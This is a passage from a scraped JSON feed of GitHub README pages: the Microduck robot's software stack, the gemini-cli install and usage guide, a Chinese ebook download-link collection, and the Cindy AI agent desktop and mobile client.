This repo is the duck's brain. About 25 cm and 800 g of robot, run by a handful of daemons on a Rockchip RK3566: a 50 Hz control loop driving fifteen servos from neural policies, the radios and the camera, and the update machinery that gets new software onto a robot without bricking it.
\nEverything you need to run a Microduck is here. If you want one, get yours here.
\nThe policies it runs are trained next door, in microduck_rl \u2014 MuJoCo and PPO, the sim2real recipe, and the export to ONNX that this repo loads.
\n| \n | \n\n | \n
| It walks. Pick up a gamepad and drive. | \nIt rolls. Put wheels on, ask for roller mode, and it loads the other brain. | \n
| \n | \n\n | \n
| It picks things up. Beak to the floor, one button. | \nIt gets back up. Knock it over and it stands itself up. | \n
It also sits, kicks a ball, rolls forward on command, and quacks in a voice that is its own.
\n| \n | \n |
|---|---|
| Cheat sheet | \nEvery robotctl command: drive, configure, voice, chorale, theremin, wifi, updates, logs. Start here. | \n
| Gamepad | \nThe full button mapping, and pairing a pad \u2014 once per pad, plus what to do when it will not bond. | \n
duckctl | \n The robot from a laptop over Bluetooth, with no network and no ssh. | \n
| Updates | \nInstall, roll back, pin. Every update is verified, health-gated and reversible. | \n
| \n | \n |
|---|---|
| microduck_rl | \nWhere the policies come from: MuJoCo, PPO, domain randomisation, and the ONNX export this repo loads. | \n
| How it works | \nThe whole system on one page \u2014 the daemons, the bus, how an update reaches a robot \u2014 then a page per part. | \n
| Set up a dev board | \nFrom a blank board to a robot that takes branch builds. | \n
| Dev cheat sheet | \nBranch builds, release candidates, driving from a laptop, and the restart traps after an update. | \n
| Push your branch | \nBuild on your machine, install over ssh, about a minute. | \n
| The simulated duck | \nNo robot on the desk? scripts/duck-sim runs the real daemons against a body in MuJoCo \u2014 one duck in a window, or four as machines you log into. | \n
| CONTRIBUTING.md | \nBuilding, testing, layout, conventions, releasing. | \n
| Docs index | \nEverything, including the design pages and the open problems. | \n
Rust, no framework, one workspace. robotd owns the control loop and the motor bus; updaterd installs signed releases and rolls them back when a robot comes up unhealthy; configd owns wifi and identity; btd is the Bluetooth path a phone uses; padd reads the gamepad; mediad streams the camera over WebRTC; tofd serves the depth sensor. They talk over one JSON-RPC contract on Unix sockets, and every client \u2014 the app, the console, the gamepad, your script \u2014 sends exactly the same calls.
The interesting decisions are written down: docs/design/ is why things are the way they are, and docs/project/ is what has gone wrong and what would close it.
No duck was harmed in the making of this robot. Several were consulted.
", "summary": "A Tiny biped duck robot \ud83e\udd86
https://pollen-robotics.com/microduck
A tiny biped robot that moves using reinforcement learning policies.
\nGet yours here \u00b7 Cheat sheet \u00b7 Training the policies \u00b7 How it works \u00b7 Contributing
\n
This repo is the duck's brain. About 25 cm and 800 g of robot, run by a handful of daemons on a Rockchip RK3566: a 50 Hz control loop driving fifteen servos from neural policies, the radios and the camera, and the update machinery that gets new software onto a robot without bricking it.
\nEverything you need to run a Microduck is here. If you want one, get yours here.
\nThe policies it runs are trained next door, in microduck_rl \u2014 MuJoCo and PPO, the sim2real recipe, and the export to ONNX that this repo loads.
\n| \n | \n\n | \n
| It walks. Pick up a gamepad and drive. | \nIt rolls. Put wheels on, ask for roller mode, and it loads the other brain. | \n
| \n | \n\n | \n
| It picks things up. Beak to the floor, one button. | \nIt gets back up. Knock it over and it stands itself up. | \n
It also sits, kicks a ball, rolls forward on command, and quacks in a voice that is its own.
\n| \n | \n |
|---|---|
| Cheat sheet | \nEvery robotctl command: drive, configure, voice, chorale, theremin, wifi, updates, logs. Start here. | \n
| Gamepad | \nThe full button mapping, and pairing a pad \u2014 once per pad, plus what to do when it will not bond. | \n
duckctl | \n The robot from a laptop over Bluetooth, with no network and no ssh. | \n
| Updates | \nInstall, roll back, pin. Every update is verified, health-gated and reversible. | \n
| \n | \n |
|---|---|
| microduck_rl | \nWhere the policies come from: MuJoCo, PPO, domain randomisation, and the ONNX export this repo loads. | \n
| How it works | \nThe whole system on one page \u2014 the daemons, the bus, how an update reaches a robot \u2014 then a page per part. | \n
| Set up a dev board | \nFrom a blank board to a robot that takes branch builds. | \n
| Dev cheat sheet | \nBranch builds, release candidates, driving from a laptop, and the restart traps after an update. | \n
| Push your branch | \nBuild on your machine, install over ssh, about a minute. | \n
| The simulated duck | \nNo robot on the desk? scripts/duck-sim runs the real daemons against a body in MuJoCo \u2014 one duck in a window, or four as machines you log into. | \n
| CONTRIBUTING.md | \nBuilding, testing, layout, conventions, releasing. | \n
| Docs index | \nEverything, including the design pages and the open problems. | \n
Rust, no framework, one workspace. robotd owns the control loop and the motor bus; updaterd installs signed releases and rolls them back when a robot comes up unhealthy; configd owns wifi and identity; btd is the Bluetooth path a phone uses; padd reads the gamepad; mediad streams the camera over WebRTC; tofd serves the depth sensor. They talk over one JSON-RPC contract on Unix sockets, and every client \u2014 the app, the console, the gamepad, your script \u2014 sends exactly the same calls.
The interesting decisions are written down: docs/design/ is why things are the way they are, and docs/project/ is what has gone wrong and what would close it.
No duck was harmed in the making of this robot. Several were consulted.
", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n {\"url\": string, \n 'mime_type': string, \n 'title': strinrg,\n 'size_in_bytes': int,\n 'duration_in_seconds': int\n "]}, {"id": "https://github.com/google-gemini/gemini-cli", "url": "https://github.com/google-gemini/gemini-cli", "external_url": null, "title": "google-gemini/gemini-cli", "content_text": "", "content_html": "An open-source AI agent that brings the power of Gemini directly into your terminal.
\n Note
\n \nUnpaid tier and Google One users: Gemini CLI was replaced by Antigravity CLI on June 18th, 2026. To learn more, see our blog post.
\nGemini CLI has not been optimized for Gemini 4 Argon. To use Gemini 4 Argon, please use Antigravity.
\n![\"Gemini](\"https://github.com/google-gemini/gemini-cli/actions/workflows/ci.yml/badge.svg?sanitize=true\"){kind=icon}
![\"Gemini](\"https://github.com/google-gemini/gemini-cli/actions/workflows/chained_e2e.yml/badge.svg?sanitize=true\"){kind=icon}
![\"Version\"](\"https://img.shields.io/npm/v/@google/gemini-cli\")
![\"License\"](\"https://img.shields.io/github/license/google-gemini/gemini-cli\")
![\"View](\"https://assets.codewiki.google/readme-badge/static.svg?sanitize=true\"){kind=icon}
\n Note
\n \nGemini CLI is not optimized for the latest Gemini models. For the best coding experience with Gemini models use Antigravity CLI
\nGemini CLI is an open-source AI agent that brings the power of Gemini directly into your terminal. It provides lightweight access to Gemini, giving you the most direct path from your prompt to our model.
\nLearn all about Gemini CLI in our documentation.
\nSee Gemini CLI installation, execution, and releases for recommended system specifications and a detailed installation guide.
\n# Using npx (no installation required)\nnpx @google/gemini-cli\nnpm install -g @google/gemini-cli\nbrew install gemini-cli\nsudo port install gemini-cli\n# Create and activate a new environment\nconda create -y -n gemini_env -c conda-forge nodejs\nconda activate gemini_env\n\n# Install Gemini CLI globally via npm (inside the environment)\nnpm install -g @google/gemini-cli\nSee Releases for more details.
\nNew preview releases will be published each week at UTC 23:59 on Tuesdays. These releases will not have been fully vetted and may contain regressions or other outstanding issues. Please help us test and install with preview tag.
npm install -g @google/gemini-cli@preview\npreview release + any bug fixes and validations. Use latest tag.npm install -g @google/gemini-cli@latest\nnightly tag.npm install -g @google/gemini-cli@nightly\nChoose the authentication method that best fits your needs:
\n# Set your Google Cloud Project\nexport GOOGLE_CLOUD_PROJECT=\"YOUR_PROJECT_ID\"\ngemini\n\u2728 Best for: Developers who need specific model control or paid tier access
\nBenefits:
\n# Get your key from https://aistudio.google.com/apikey\nexport GEMINI_API_KEY=\"YOUR_API_KEY\"\ngemini\n\u2728 Best for: Enterprise teams and production workloads
\nBenefits:
\n# Get your key from Google Cloud Console\nexport GOOGLE_API_KEY=\"YOUR_API_KEY\"\nexport GOOGLE_GENAI_USE_VERTEXAI=true\ngemini\nFor Google Workspace accounts and other authentication methods, see the authentication guide.
\n\n Note
\n \nGemini CLI is not optimized for the latest Gemini models. For the best coding experience with Gemini models use Antigravity CLI
\ngemini\ngemini --include-directories ../lib,../docs\ngemini -m gemini-2.5-flash\nGet a simple text response:
\ngemini -p \"Explain the architecture of this codebase\"\nFor more advanced scripting, including how to parse JSON and handle errors, use the --output-format json flag to get structured output:
gemini -p \"Explain the architecture of this codebase\" --output-format json\nFor real-time event streaming (useful for monitoring long-running operations), use --output-format stream-json to get newline-delimited JSON events:
gemini -p \"Run tests and deploy\" --output-format stream-json\ncd new-project/\ngemini\n> Write me a Discord bot that answers questions using a FAQ.md file I will provide\ngit clone https://github.com/google-gemini/gemini-cli\ncd gemini-cli\ngemini\n> Give me a summary of all of the changes that went in yesterday\n/help, /chat, etc)./bug command to report issues directly from the CLI.Configure MCP servers in ~/.gemini/settings.json to extend Gemini CLI with custom tools:
> @github List my open pull requests\n> @slack Send a summary of today's commits to #dev channel\n> @database Run a query to find inactive users\nSee the MCP Server Integration guide for setup instructions.
\nWe welcome contributions! Gemini CLI is fully open source (Apache 2.0), and we encourage the community to:
\nSee our Contributing Guide for development setup, coding standards, and how to submit pull requests.
\nCheck our Official Roadmap for planned features and priorities.
\nSee the Uninstall Guide for removal instructions.
\nBuilt with \u2764\ufe0f by Google and the open source community
", "summary": "An open-source AI agent that brings the power of Gemini directly into your terminal.
\n Note
\n \nUnpaid tier and Google One users: Gemini CLI was replaced by Antigravity CLI on June 18th, 2026. To learn more, see our blog post.
\nGemini CLI has not been optimized for Gemini 4 Argon. To use Gemini 4 Argon, please use Antigravity.
\n
\n Note
\n \nGemini CLI is not optimized for the latest Gemini models. For the best coding experience with Gemini models use Antigravity CLI
\nGemini CLI is an open-source AI agent that brings the power of Gemini directly into your terminal. It provides lightweight access to Gemini, giving you the most direct path from your prompt to our model.
\nLearn all about Gemini CLI in our documentation.
\nSee Gemini CLI installation, execution, and releases for recommended system specifications and a detailed installation guide.
\n# Using npx (no installation required)\nnpx @google/gemini-cli\nnpm install -g @google/gemini-cli\nbrew install gemini-cli\nsudo port install gemini-cli\n# Create and activate a new environment\nconda create -y -n gemini_env -c conda-forge nodejs\nconda activate gemini_env\n\n# Install Gemini CLI globally via npm (inside the environment)\nnpm install -g @google/gemini-cli\nSee Releases for more details.
\nNew preview releases will be published each week at UTC 23:59 on Tuesdays. These releases will not have been fully vetted and may contain regressions or other outstanding issues. Please help us test and install with preview tag.
npm install -g @google/gemini-cli@preview\npreview release + any bug fixes and validations. Use latest tag.npm install -g @google/gemini-cli@latest\nnightly tag.npm install -g @google/gemini-cli@nightly\nChoose the authentication method that best fits your needs:
\n# Set your Google Cloud Project\nexport GOOGLE_CLOUD_PROJECT=\"YOUR_PROJECT_ID\"\ngemini\n\u2728 Best for: Developers who need specific model control or paid tier access
\nBenefits:
\n# Get your key from https://aistudio.google.com/apikey\nexport GEMINI_API_KEY=\"YOUR_API_KEY\"\ngemini\n\u2728 Best for: Enterprise teams and production workloads
\nBenefits:
\n# Get your key from Google Cloud Console\nexport GOOGLE_API_KEY=\"YOUR_API_KEY\"\nexport GOOGLE_GENAI_USE_VERTEXAI=true\ngemini\nFor Google Workspace accounts and other authentication methods, see the authentication guide.
\n\n Note
\n \nGemini CLI is not optimized for the latest Gemini models. For the best coding experience with Gemini models use Antigravity CLI
\ngemini\ngemini --include-directories ../lib,../docs\ngemini -m gemini-2.5-flash\nGet a simple text response:
\ngemini -p \"Explain the architecture of this codebase\"\nFor more advanced scripting, including how to parse JSON and handle errors, use the --output-format json flag to get structured output:
gemini -p \"Explain the architecture of this codebase\" --output-format json\nFor real-time event streaming (useful for monitoring long-running operations), use --output-format stream-json to get newline-delimited JSON events:
gemini -p \"Run tests and deploy\" --output-format stream-json\ncd new-project/\ngemini\n> Write me a Discord bot that answers questions using a FAQ.md file I will provide\ngit clone https://github.com/google-gemini/gemini-cli\ncd gemini-cli\ngemini\n> Give me a summary of all of the changes that went in yesterday\n/help, /chat, etc)./bug command to report issues directly from the CLI.Configure MCP servers in ~/.gemini/settings.json to extend Gemini CLI with custom tools:
> @github List my open pull requests\n> @slack Send a summary of today's commits to #dev channel\n> @database Run a query to find inactive users\nSee the MCP Server Integration guide for setup instructions.
\nWe welcome contributions! Gemini CLI is fully open source (Apache 2.0), and we encourage the community to:
\nSee our Contributing Guide for development setup, coding standards, and how to submit pull requests.
\nCheck our Official Roadmap for planned features and priorities.
\nSee the Uninstall Guide for removal instructions.
\nBuilt with \u2764\ufe0f by Google and the open source community
", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n {\"url\": string, \n 'mime_type': string, \n 'title': strinrg,\n 'size_in_bytes': int,\n 'duration_in_seconds': int\n "]}, {"id": "https://github.com/jbiaojerry/ebook-treasure-chest", "url": "https://github.com/jbiaojerry/ebook-treasure-chest", "external_url": null, "title": "jbiaojerry/ebook-treasure-chest", "content_text": "", "content_html": "\u6b22\u8fce\u6765\u5230\u7535\u5b50\u4e66\u4e0b\u8f7d\u5b9d\u5e93\uff0c\u4e00\u4e2a\u6c47\u805a\u4e86\u5404\u7c7b\u7535\u5b50\u4e66\u4e0b\u8f7d\u94fe\u63a5\u7684\u5730\u65b9\u3002\u65e0\u8bba\u4f60\u662f\u559c\u6b22\u9605\u8bfb\u7ecf\u5178\u6587\u5b66\u3001\u7ecf\u7ba1\u52b1\u5fd7\u3001\u7ec8\u8eab\u5b66\u4e60\u3001\u804c\u573a\u521b\u4e1a\u3001\u6280\u672f\u624b\u518c\u8fd8\u662f\u5176\u4ed6\u7c7b\u578b\u7684\u4e66\u7c4d\uff0c\u8fd9\u91cc\u90fd\u80fd\u6ee1\u8db3\u4f60\u7684\u9700\u6c42\u3002 \u8be5\u5e93\u6db5\u76d6\u4e86\u5e06\u4e66app(\u539f\u6a0a\u767b\u8bfb\u4e66)\u3001\u5fae\u4fe1\u8bfb\u4e66\u3001\u4eac\u4e1c\u8bfb\u4e66\u3001\u559c\u9a6c\u62c9\u96c5\u7b49\u8bfb\u4e66app\u7684\u5927\u90e8\u5206\u7535\u5b50\u4e66\u3002
![\"Project](\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/.github/logo.png\"){kind=logo}
![\"GitHub\"](\"https://img.shields.io/github/license/jbiaojerry/ebook-treasure-chest\")
![\"GitHub](\"https://img.shields.io/github/stars/jbiaojerry/ebook-treasure-chest?style=social\")
\n\n\ud83c\udf10 \u5728\u7ebf\u8bbf\u95ee GitHub Pages - \u4f53\u9a8c\u5f3a\u5927\u7684\u5b9e\u65f6\u641c\u7d22\u529f\u80fd\u548c\u591a\u5173\u952e\u5b57\u641c\u7d22\uff0c\u5feb\u901f\u627e\u5230\u4f60\u60f3\u8981\u7684\u7535\u5b50\u4e66\uff01
\n
\u6b22\u8fce\u6765\u5230\u7535\u5b50\u4e66\u4e0b\u8f7d\u5b9d\u5e93\uff0c\u4e00\u4e2a\u6c47\u805a\u4e86\u5404\u7c7b\u7535\u5b50\u4e66\u4e0b\u8f7d\u94fe\u63a5\u7684\u5730\u65b9\u3002\u65e0\u8bba\u4f60\u662f\u559c\u6b22\u9605\u8bfb\u7ecf\u5178\u6587\u5b66\u3001\u7ecf\u7ba1\u52b1\u5fd7\u3001\u7ec8\u8eab\u5b66\u4e60\u3001\u804c\u573a\u521b\u4e1a\u3001\u6280\u672f\u624b\u518c\u8fd8\u662f\u5176\u4ed6\u7c7b\u578b\u7684\u4e66\u7c4d\uff0c\u8fd9\u91cc\u90fd\u80fd\u6ee1\u8db3\u4f60\u7684\u9700\u6c42\u3002 \u8be5\u5e93\u6db5\u76d6\u4e86\u5e06\u4e66app(\u539f\u6a0a\u767b\u8bfb\u4e66)\u3001\u5fae\u4fe1\u8bfb\u4e66\u3001\u4eac\u4e1c\u8bfb\u4e66\u3001\u559c\u9a6c\u62c9\u96c5\u7b49\u8bfb\u4e66app\u7684\u5927\u90e8\u5206\u7535\u5b50\u4e66\u3002
\n\u6211\u4eec\u4ece\u5404\u4e2a\u7535\u5b50\u4e66\u7f51\u7ad9\u4e0a\u7cbe\u5fc3\u6536\u96c6\u4e86\u5404\u79cd\u7535\u5b50\u4e66\u4e0b\u8f7d\u94fe\u63a5\uff0c\u5e76\u6839\u636e\u5e38\u7528\u7684\u6807\u7b7e\u5bf9\u5b83\u4eec\u8fdb\u884c\u4e86\u7b80\u5355\u5206\u7c7b\u3002\u6bcf\u672c\u4e66\u90fd\u5305\u62ec\u4e86\u4e09\u79cd\u5e38\u89c1\u683c\u5f0f\u6587\u4ef6\uff1aepub\u3001mobi \u548c azw3\uff0c\u4ee5\u6ee1\u8db3\u4e0d\u540c\u9605\u8bfb\u8bbe\u5907\u548c\u559c\u597d\u7684\u9700\u6c42\u3002
\n\u6d4f\u89c8\u6211\u4eec\u7684\u4e0b\u8f7d\u5b9d\u5e93\u975e\u5e38\u7b80\u5355\uff1a
\n\u8bbf\u95ee GitHub Pages \u5b9e\u65f6\u5728\u7ebf\u641c\u7d22\u9875\u9762\uff0c\u4f53\u9a8c\u5f3a\u5927\u7684\u5b9e\u65f6\u5feb\u901f\u641c\u7d22\u548c\u591a\u5173\u952e\u8bcd\u641c\u7d22\u529f\u80fd\uff1a
\n![\"\u641c\u7d22\u529f\u80fd\u6f14\u793a\"](\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/.github/search-demo.gif?v=2\")
\n\n\ud83c\udf1f \u5982\u679c\u8fd9\u4e2a\u9879\u76ee\u5bf9\u4f60\u6709\u5e2e\u52a9\uff0c\u6b22\u8fce\u8bf7\u6211\u4eec\u559d\u676f\u5496\u5561\uff01\u4f60\u7684\u652f\u6301\u662f\u6211\u4eec\u6301\u7eed\u7ef4\u62a4\u548c\u66f4\u65b0\u8fd9\u4e2a\u9879\u76ee\u7684\u52a8\u529b\u3002
\n
![\"\u8d5e\u8d4f\u7801\"](\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/.github/%E8%B5%9E%E8%B5%8F%E7%A0%81.jpg\")
\n \u611f\u8c22\u6240\u6709\u652f\u6301\u6211\u4eec\u7684\u8d5e\u52a9\u4eba\uff01
\u67e5\u770b \ud83d\udccb \u8d5e\u52a9\u4eba\u540d\u5355 \u4e86\u89e3\u5df2\u8d5e\u8d4f\u7684\u8d5e\u52a9\u4eba\u4fe1\u606f\u3002
\n\n\ud83d\udca1 \u4f7f\u7528 Ctrl+F \u5feb\u901f\u641c\u7d22\u5173\u952e\u8bcd\uff0c\u6216\u70b9\u51fb\u4e0b\u65b9\u6807\u7b7e\u76f4\u63a5\u8fdb\u5165\u5206\u7c7b\u9875\u9762
\n
\u6b22\u8fce\u6765\u5230\u7535\u5b50\u4e66\u4e0b\u8f7d\u5b9d\u5e93\uff0c\u4e00\u4e2a\u6c47\u805a\u4e86\u5404\u7c7b\u7535\u5b50\u4e66\u4e0b\u8f7d\u94fe\u63a5\u7684\u5730\u65b9\u3002\u65e0\u8bba\u4f60\u662f\u559c\u6b22\u9605\u8bfb\u7ecf\u5178\u6587\u5b66\u3001\u7ecf\u7ba1\u52b1\u5fd7\u3001\u7ec8\u8eab\u5b66\u4e60\u3001\u804c\u573a\u521b\u4e1a\u3001\u6280\u672f\u624b\u518c\u8fd8\u662f\u5176\u4ed6\u7c7b\u578b\u7684\u4e66\u7c4d\uff0c\u8fd9\u91cc\u90fd\u80fd\u6ee1\u8db3\u4f60\u7684\u9700\u6c42\u3002 \u8be5\u5e93\u6db5\u76d6\u4e86\u5e06\u4e66app(\u539f\u6a0a\u767b\u8bfb\u4e66)\u3001\u5fae\u4fe1\u8bfb\u4e66\u3001\u4eac\u4e1c\u8bfb\u4e66\u3001\u559c\u9a6c\u62c9\u96c5\u7b49\u8bfb\u4e66app\u7684\u5927\u90e8\u5206\u7535\u5b50\u4e66\u3002
\n\n\ud83c\udf10 \u5728\u7ebf\u8bbf\u95ee GitHub Pages - \u4f53\u9a8c\u5f3a\u5927\u7684\u5b9e\u65f6\u641c\u7d22\u529f\u80fd\u548c\u591a\u5173\u952e\u5b57\u641c\u7d22\uff0c\u5feb\u901f\u627e\u5230\u4f60\u60f3\u8981\u7684\u7535\u5b50\u4e66\uff01
\n
\u6b22\u8fce\u6765\u5230\u7535\u5b50\u4e66\u4e0b\u8f7d\u5b9d\u5e93\uff0c\u4e00\u4e2a\u6c47\u805a\u4e86\u5404\u7c7b\u7535\u5b50\u4e66\u4e0b\u8f7d\u94fe\u63a5\u7684\u5730\u65b9\u3002\u65e0\u8bba\u4f60\u662f\u559c\u6b22\u9605\u8bfb\u7ecf\u5178\u6587\u5b66\u3001\u7ecf\u7ba1\u52b1\u5fd7\u3001\u7ec8\u8eab\u5b66\u4e60\u3001\u804c\u573a\u521b\u4e1a\u3001\u6280\u672f\u624b\u518c\u8fd8\u662f\u5176\u4ed6\u7c7b\u578b\u7684\u4e66\u7c4d\uff0c\u8fd9\u91cc\u90fd\u80fd\u6ee1\u8db3\u4f60\u7684\u9700\u6c42\u3002 \u8be5\u5e93\u6db5\u76d6\u4e86\u5e06\u4e66app(\u539f\u6a0a\u767b\u8bfb\u4e66)\u3001\u5fae\u4fe1\u8bfb\u4e66\u3001\u4eac\u4e1c\u8bfb\u4e66\u3001\u559c\u9a6c\u62c9\u96c5\u7b49\u8bfb\u4e66app\u7684\u5927\u90e8\u5206\u7535\u5b50\u4e66\u3002
\n\u6211\u4eec\u4ece\u5404\u4e2a\u7535\u5b50\u4e66\u7f51\u7ad9\u4e0a\u7cbe\u5fc3\u6536\u96c6\u4e86\u5404\u79cd\u7535\u5b50\u4e66\u4e0b\u8f7d\u94fe\u63a5\uff0c\u5e76\u6839\u636e\u5e38\u7528\u7684\u6807\u7b7e\u5bf9\u5b83\u4eec\u8fdb\u884c\u4e86\u7b80\u5355\u5206\u7c7b\u3002\u6bcf\u672c\u4e66\u90fd\u5305\u62ec\u4e86\u4e09\u79cd\u5e38\u89c1\u683c\u5f0f\u6587\u4ef6\uff1aepub\u3001mobi \u548c azw3\uff0c\u4ee5\u6ee1\u8db3\u4e0d\u540c\u9605\u8bfb\u8bbe\u5907\u548c\u559c\u597d\u7684\u9700\u6c42\u3002
\n\u6d4f\u89c8\u6211\u4eec\u7684\u4e0b\u8f7d\u5b9d\u5e93\u975e\u5e38\u7b80\u5355\uff1a
\n\u8bbf\u95ee GitHub Pages \u5b9e\u65f6\u5728\u7ebf\u641c\u7d22\u9875\u9762\uff0c\u4f53\u9a8c\u5f3a\u5927\u7684\u5b9e\u65f6\u5feb\u901f\u641c\u7d22\u548c\u591a\u5173\u952e\u8bcd\u641c\u7d22\u529f\u80fd\uff1a
\n
\n\n\ud83c\udf1f \u5982\u679c\u8fd9\u4e2a\u9879\u76ee\u5bf9\u4f60\u6709\u5e2e\u52a9\uff0c\u6b22\u8fce\u8bf7\u6211\u4eec\u559d\u676f\u5496\u5561\uff01\u4f60\u7684\u652f\u6301\u662f\u6211\u4eec\u6301\u7eed\u7ef4\u62a4\u548c\u66f4\u65b0\u8fd9\u4e2a\u9879\u76ee\u7684\u52a8\u529b\u3002
\n
\n \u611f\u8c22\u6240\u6709\u652f\u6301\u6211\u4eec\u7684\u8d5e\u52a9\u4eba\uff01
\u67e5\u770b \ud83d\udccb \u8d5e\u52a9\u4eba\u540d\u5355 \u4e86\u89e3\u5df2\u8d5e\u8d4f\u7684\u8d5e\u52a9\u4eba\u4fe1\u606f\u3002
\n\n\ud83d\udca1 \u4f7f\u7528 Ctrl+F \u5feb\u901f\u641c\u7d22\u5173\u952e\u8bcd\uff0c\u6216\u70b9\u51fb\u4e0b\u65b9\u6807\u7b7e\u76f4\u63a5\u8fdb\u5165\u5206\u7c7b\u9875\u9762
\n
Consider it done. The open-source AI agent that works out of the box \u00b7 \u60f3\u5230\uff0c\u5c31\u80fd\u505a\u5230\u3002\u5f00\u6e90\u3001\u5f00\u7bb1\u5373\u7528\u7684 AI Agent\u3002
![\"CINDY](\"https://raw.githubusercontent.com/makecindy/cindy/main/.github/assets/hero-en.webp\")
English \u00b7 \u7b80\u4f53\u4e2d\u6587
\n ![\"License\"](\"https://img.shields.io/badge/license-Apache--2.0-blue.svg?sanitize=true\"){kind=icon}
![\"CI\"](\"https://github.com/makecindy/cindy/actions/workflows/ci.yml/badge.svg?sanitize=true\"){kind=icon}
![\"Node.js](\"https://img.shields.io/badge/node-22.x-brightgreen.svg?sanitize=true\"){kind=icon}
![\"pnpm\"](\"https://img.shields.io/badge/pnpm-10-orange.svg?sanitize=true\"){kind=icon}
\ud83c\udf10 cindy.app \u00b7 \u2b07\ufe0f Download
\nCindy is an open-source AI agent that works out of the box. She brings multiple harnesses, models and tools into one agent that finishes real work in your projects and apps. Ready from day one, yours to shape over time.
\nCindy runs locally on your own machine, using your real files and logged-in apps. The first supported harnesses are Claude Code and Codex \u2014 more are being added, and a native harness is in the works. Models and harnesses mix freely and can switch mid-task while your workspace, memory, skills and tools stay continuous; one task can even be planned, executed in parallel, and reviewed by agents on different harness \u00d7 model combos. She can drive your browser, computer and phone, and take work from IM and schedules.
\nThis repository is the open-source client for Cindy \u2014 the desktop and mobile apps plus their shared packages, organized as a pnpm monorepo.
\nThe client is free to use, and its source code is open under Apache-2.0. Bring models your way: sign in to the official Cindy service (usage deducted transparently), authorize the Claude Code / Codex Coding Plan you already pay for and keep using it inside Cindy \u2014 no duplicate bill \u2014 connect your own API keys, or use local models. See cindy.app for service details, pricing, and downloads.
\nLinux users: see the Ubuntu, Arch Linux and Omarchy installation guide for installation, updates, keyring setup and migration from a manual install.
\nOpen source means more than visible \u2014 it means changeable:
\nReady out of the box, never boxed in \u2014 start with CONTRIBUTING.en.md and build Cindy with us.
| Path | \nDescription | \n
|---|---|
apps/desktop | \n Electron desktop client | \n
apps/mobile | \n Expo / React Native mobile client | \n
packages/* | \n Shared client capabilities (auth, device-link, agent orchestration, model providers, \u2026) | \n
apps/*-bin | \n Tool binaries shipped with the desktop app; none are committed \u2014 claude-code, codex, and ripgrep are downloaded per platform by pnpm install, and the Android platform-tools binaries are fetched (pinned version, sha256-verified) before Windows packaging | \n
Not in this repo: the backend service lives in a separate repository and is not part of this monorepo.
\n| Mode | \nAccount requirement | \nAvailability | \n
|---|---|---|
| Hosted service | \nCindy cloud account | \nUse Cindy's full hosted service. See pricing. | \n
| Skip Sign-In | \nNo Cindy sign-in required | \nChoose \u201cSkip Sign-In\u201d on the login screen to use local agents; the app then shows the account state as \u201cNot signed in\u201d. Server-backed capabilities are unavailable in this state. | \n
Contributor setup, Git LFS, dependency updates, and access requirements are maintained in CONTRIBUTING.en.md. Plugins are installed through SkillHub or manually.
Minimal entry point:
\n![\"GitHub](\"https://img.shields.io/github/forks/jbiaojerry/ebook-treasure-chest?style=social\")
git clone https://github.com/makecindy/cindy.git\ncd cindy\ngit lfs pull\npnpm install\n# Mainland China Cindy account\npnpm restart:desktop:remote --region=cn\n\n# Global Cindy account\npnpm restart:desktop:remote --region=global\nRemote development uses your own Cindy cloud account and existing login state, so you can continue existing sessions and work while developing the client. Use cn for Mainland China accounts and global for everyone else; do not rely on the internal default. Full desktop, mobile, data-isolation, and validation workflows are in CONTRIBUTING.en.md.
\u201cSkip Sign-In\u201d on the login screen runs local agents without a Cindy account (shown in the app as \u201cNot signed in\u201d), not a connection to a local server. Server-backed capabilities are unavailable in this state.
\nAbout the default servers: the client connects to Cindy's official cloud services by default (endpoint manifests in config/endpoint.json and config/endpoint.global.json; desktop auto-updates also come from the official CDN). This is intentional \u2014 external developers don't need to self-host a server: sign in with your own Cindy account in a dev build and develop / test directly against the official servers.
Skill Hub migration uses two separate manifest fields: released clients keep using skillhubApiBaseUrl (the deprecated XD proxy), while current clients use cindySkillHubApiBaseUrl. The current client deliberately does not fall back to the legacy field when the new endpoint is absent.
DESIGN.md \u2014 visual design system, color tokens, and UI conventionsdocs/README.md \u2014 complete documentation and rules indexdocs/auth-realm-routing.md \u2014 organization SSO region discovery and session endpoint routingCONTRIBUTING.en.md \u2014 contributor setup, validation, and submission workflowAGENTS.md \u2014 engineering rules, launch/runtime contracts, and module boundariesdocs/dev-rules/ \u2014 deep-dive architecture docs (e.g. Orca multi-agent orchestration)Contributions go through pull requests into main. Read CONTRIBUTING.en.md first, then use .github/PULL_REQUEST_TEMPLATE.md. Every commit needs a Developer Certificate of Origin sign-off (git commit -s); a DCO check on each pull request enforces it, and no CLA is required. Please also follow CODE_OF_CONDUCT.en.md. For ordinary usage questions, see SUPPORT.en.md; report security issues privately through SECURITY.en.md.
Never commit credentials or authorization files to the working tree. If you discover a security issue, follow SECURITY.en.md to report it privately rather than opening a public issue.
Official distribution builds include TapDB usage analytics for product-level aggregate statistics (device / OS / app-version metadata; associated with your account ID after sign-in). It does not collect chat content, file content, or working-directory data. In addition, while signed in to a cloud account the client sends an online heartbeat to Cindy services (account ID, platform, and version only). Crash dumps stay on the local machine and are never uploaded automatically.
\nBuilding from source? You are not required to keep analytics:
\nclientId / clientToken) injected at build time, apps/mobile/src/analytics/mobileTapdb.ts is a no-op;initTapdb() call in apps/desktop/src/renderer/index.tsx (implementation lives in apps/desktop/src/renderer/analytics/).Except as otherwise noted, the source code in this repository is licensed under the Apache License, Version 2.0. Individual source files do not carry per-file license headers; the repository-root LICENSE governs.
Model weights, datasets, prompts, trademarks, and other separately identified materials may be subject to their own license terms and are not automatically covered by the repository-level Apache-2.0 grant. Third-party open-source components retain their own copyright and license. Their attribution notices and SPDX SBOMs are managed under docs/legal/, with artifact-specific outputs in docs/legal/notices/. See NOTICE for this project's copyright and attribution information.
Consider it done. The open-source AI agent that works out of the box \u00b7 \u60f3\u5230\uff0c\u5c31\u80fd\u505a\u5230\u3002\u5f00\u6e90\u3001\u5f00\u7bb1\u5373\u7528\u7684 AI Agent\u3002
English \u00b7 \u7b80\u4f53\u4e2d\u6587
\n
